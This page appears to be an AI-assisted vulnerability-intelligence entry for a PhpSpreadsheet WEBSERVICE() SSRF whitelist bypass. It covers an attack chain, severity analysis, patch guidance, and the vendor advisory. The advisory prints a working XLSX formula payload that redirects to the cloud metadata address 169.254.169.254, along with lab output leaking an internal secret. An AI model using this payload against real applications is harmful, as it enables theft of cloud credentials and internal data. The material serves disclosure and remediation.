Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain upload access to target app
-
DeliveryCraft XLSX with WEBSERVICE formula pointing at whitelisted redirect URL
-
ExploitWhitelist validates first host and passes
-
Executionfile_get_contents follows 302 to internal/metadata target
-
PersistRead HTTP response body from cell value
-
ImpactExfiltrate cloud credentials or internal data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires all of: the target uses PhpSpreadsheet, calls Spreadsheet::setDomainWhiteList([...]) with at least one domain, and invokes getCalculatedValue() (formula evaluation) on attacker-supplied XLSX files; and the attacker must have or obtain a URL on a whitelisted domain that issues an HTTP 301/302 redirect - an open-redirect endpoint on that domain, a whitelisted domain the attacker controls, or DNS rebinding after the check. Limiting factors: the whitelist feature (5.4.0+) must be enabled and non-trivially populated, the attacker needs upload/file-submission access to the app (authenticated per CVSS PR:L), and impact is read-only (full HTTP body up to 32,767 bytes, no write/RCE). Without a redirect-capable whitelisted host, direct internal URLs are still blocked by the whitelist. |
| Impact | Signals are moderately but not uniformly severe. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, 7.7) reflects network reach, a scope change into internal systems, and high confidentiality impact with no integrity or availability effect - consistent with a read-only SSRF. No EPSS score, no CISA KEV entry, and no evidence of in-the-wild exploitation were provided, so this is a POC-backed rather than KEV-backed priority. The practical risk is gated by non-default preconditions rather than raw score: the victim app must (a) use PhpSpreadsheet's WEBSERVICE feature, (b) call setDomainWhiteList() with at least one domain, (c) evaluate formulas on attacker-supplied files via getCalculatedValue(), and (d) the whitelisted domain must offer an open redirect or be attacker-controlled. I would rate AC as HIGH rather than the vendor's LOW because the redirect-capable whitelisted domain is a condition outside the attacker's direct control - verify against your own deployment. Where those conditions hold (e.g., cloud-hosted apps with instance metadata at 169.254.169.254), impact is genuinely serious; where WEBSERVICE/whitelisting is unused, real risk is negligible. Net: a real but conditional priority for affected configurations, not a mass-exploitation event. |
| Exploit ScenarioDerived | An attacker uploads a crafted XLSX whose A1 cell contains =WEBSERVICE("http://trusted-api.example.com/redirect?url=http://169.254.169.254/latest/meta-data/"), where trusted-api.example.com is on the app's whitelist and offers an open redirect. When the app calls getCalculatedValue(), the whitelist passes on the first host, file_get_contents() follows the 302 to the cloud metadata endpoint, and the credential/metadata response is returned as the cell value for the attacker to read. A working PoC and lab reproduction (confirmed on PhpSpreadsheet 5.7.0 / PHP 8.3, validated via Burp Collaborator) are published in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. Publicly available exploit code exists (a full PoC and lab reproduction are in the GitHub advisory); no public exploit identified as actively used in the wild and it is not in CISA KEV.
RemediationAI
Vendor-released patch: upgrade phpoffice/phpspreadsheet to 5.8.1 (or 3.10.7, 2.4.7, 2.1.18 for the corresponding older branches) via composer. The fix (commit 7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d) sets follow_location => 0 in the stream context so redirects are no longer followed, and returns NOT_YET_IMPLEMENTED for empty responses. If you cannot patch immediately, the most effective compensating control is to stop calling getCalculatedValue()/formula evaluation on untrusted uploaded spreadsheets, or disable the WEBSERVICE feature/avoid setDomainWhiteList() usage entirely - trade-off: legitimate WEBSERVICE calls will stop resolving. Where formula evaluation must remain, restrict the whitelist to internal domains you fully control that have no open-redirect endpoints, and add egress network controls (block outbound access from the app server to 169.254.169.254 and RFC1918 ranges) to blunt metadata and internal-service reads - trade-off: may break legitimate outbound integrations. Advisory: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg ; patch commit: https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw lives in Calculation/Web/Service.php, which implements the spreadsheet WEBSERVICE() formula. The intended control (PR #4751, shipped in 5.4.0) parses the target URL with parse_url() and checks the host against an allow-list configured via Spreadsheet::setDomainWhiteList(). The problem is a classic CWE-918 (SSRF): the allow-list is a time-of-check control on the first hop only, while PHP's HTTP stream wrapper (used by file_get_contents with a stream context that omits follow_location) defaults to following up to 20 redirects. The redirect Location target is never re-parsed or re-checked, so a whitelisted host that returns a 3xx redirect becomes an SSRF proxy. A secondary weakness compounds it: the check uses only the hostname and ignores the port, so whitelisting example.com authorizes every port on that host, enabling internal port scanning. Affected packages are all the composer/phpoffice/phpspreadsheet distribution (pkg:composer/phpoffice_phpspreadsheet). This is distinct from prior PhpSpreadsheet SSRFs (CVE-2024-45290/45291, CVE-2025-54370), which were in the Drawing/image-loading path, not the calculation engine.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Needs a redirect-capable whitelisted domain outside attacker control (AC:H) and authenticated file upload (PR:L); read-only SSRF pivoting to internal systems gives S:C and C:H, no I/A impact.
Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).
CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet
DescriptionCVE.org
Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check - runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request - follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls
$spreadsheet->setDomainWhiteList([...])with at least one domain - Application calls
$cell->getCalculatedValue()on uploaded XLSX files
Attack steps:
- Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
- Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>- Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.comagainst the whitelist - passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contentsfollows the 302 redirect tohttp://169.254.169.254/latest/meta-data/- no re-validation- Returns the cloud metadata response as the cell's calculated value
Lab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access - BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain - BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF - the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios:
- Whitelisted domain has an open redirect vulnerability
- Attacker controls the whitelisted domain (e.g., a free-tier API service)
- DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
Related
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.
---
Articles & Coverage 1
Executive ViewAI
PHPOffice PhpSpreadsheet, a widely-deployed library for processing spreadsheet files, contains a server-side request forgery (SSRF) vulnerability with publicly available exploit code that allows attackers to bypass security controls through malicious file uploads and access internal systems or sensitive data. The vulnerability affects versions 2.0.0 through 5.8.0, potentially impacting any organization using this library to process user-supplied spreadsheets. Organizations must patch immediately to prevent unauthorized access to internal resources and data exfiltration.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-49929
GHSA-6hq5-7373-42rg
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB